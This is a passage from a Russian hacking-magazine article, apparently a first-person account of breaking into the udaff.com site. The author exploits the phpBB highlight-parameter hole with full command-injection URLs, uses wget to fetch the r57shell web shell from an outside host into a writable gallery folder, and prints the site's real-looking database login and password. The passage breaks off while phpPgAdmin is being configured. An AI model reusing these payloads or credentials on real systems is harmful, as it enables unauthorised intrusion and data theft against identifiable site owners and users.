Жжом автора mag (mag@wapp.ru) Хакер, номер #085, стр. 085-060-2 Опять нам это ничего особого не даст. Как я не играл с путями, ничего хорошего заинклудить не удалось. Тут я уже начал злиться и зарядил в гугл следующий запрос для поиска: inurl:"udaff.com" filetype:php [морозное солнце] Любимый поисковик выдал здоровую кучу линков. Побродив по ним, я наткнулся на один интересный сайт: http://sunfreez.udaff.com (http://pesdec.com). А интересен он был тем, что на нем установлена нюка со старой (2.0.8) версией популярного форума phpBB. Все, наверно, знают знаменитую дырку с highlight- параметром во всех версиях этого форума до 2.0.10 включительно, которую я незамедлительно и начал использовать :). Первым делом я выяснил, есть ли на серваке wget, запросив следующий адрес: http://sunfreez.udaff.com/modules.php?name=Forums&file=viewtopic&t=108&highlight=%2527.$poster=`$hera`.%2527&hera=which%20wget Wget на сервере был (/usr/bin/wget), но теперь нужна была директория, открытая для записи, куда можно было бы залить более удобный web-шелл. Для поиска таковой я воспользовался утилитой find: http://sunfreez.udaff.com/modules.php?name=Forums&file=viewtopic&t=108&highlight=%2527.$poster=`$hera`.%2527&hera=find ./ type d -perm 0777 -ls Таких директорий оказалось три: gallery/albums, gallery/albums/edit и gallery/albums/userpics. Оставалось только залить удобный веб-шелл, что я и сделал, в качестве готового решения использовав хваленый r57shell. Выполнив команду http://sunfreez.udaff.com/modules.php?name=Forums&file=viewtopic&t=108&highlight=%2527.$poster=%60$hera%60.%2527&hera=wget%20-O%20./gallery/albums/userpics/userfiles.php%20http://rst.void.ru/download/r57shell.txt, я получил полноценный web-шелл по адресу: http://sunfreez.udaff.com/gallery/albums/userpics/userfiles.php. Посмотрев на используемую систему и демоны, я понял, что проэксплойтить систему вряд ли удастся, так как я еще не видел публичных сплоитов под установленные сервисы, да Linux 2.6.13.3 на тот момент даже локально не пробивался. Поэтому я поставил себе основной задачей проникновение в админку Удава. Чем и занялся дальше. [сам себе профорг] Сначала путем нехитрых логических рассуждений я вычислил директорию, где находился основной сайт (/home/www/udaff.com/), далее, просмотрев листинг файлов и каталогов, можно понять, что админка находится в adm/, а параметры подключения к базе данных, которые нам и надо узнать, - в файлике kernel.ini.php. Открыв его, я увидел следующее: [db] type = "pgsql"; user = "proforg"; password = "FogOnjuhayg8"; port = 5433; host = "psql"; db = "udaff"; Хе-хе, здесь используется постгрес, а у меня на ноуте как раз валялся phpPgAdmin, который я и залил в уже известную папку, доступную для записи. Перейдя по ссылке http://sunfreez.udaff.com/gallery/albums/userpics/users, я увидел форму для логина. Но, чтобы все заработало, сначала надо было настроить конфигурационный файл phpPgAdmin, который находился по адресу: /home/sites/pesdec.com/html/gallery/albums/userpics/users/conf/config.inc.php Я изменил только следующие параметры: |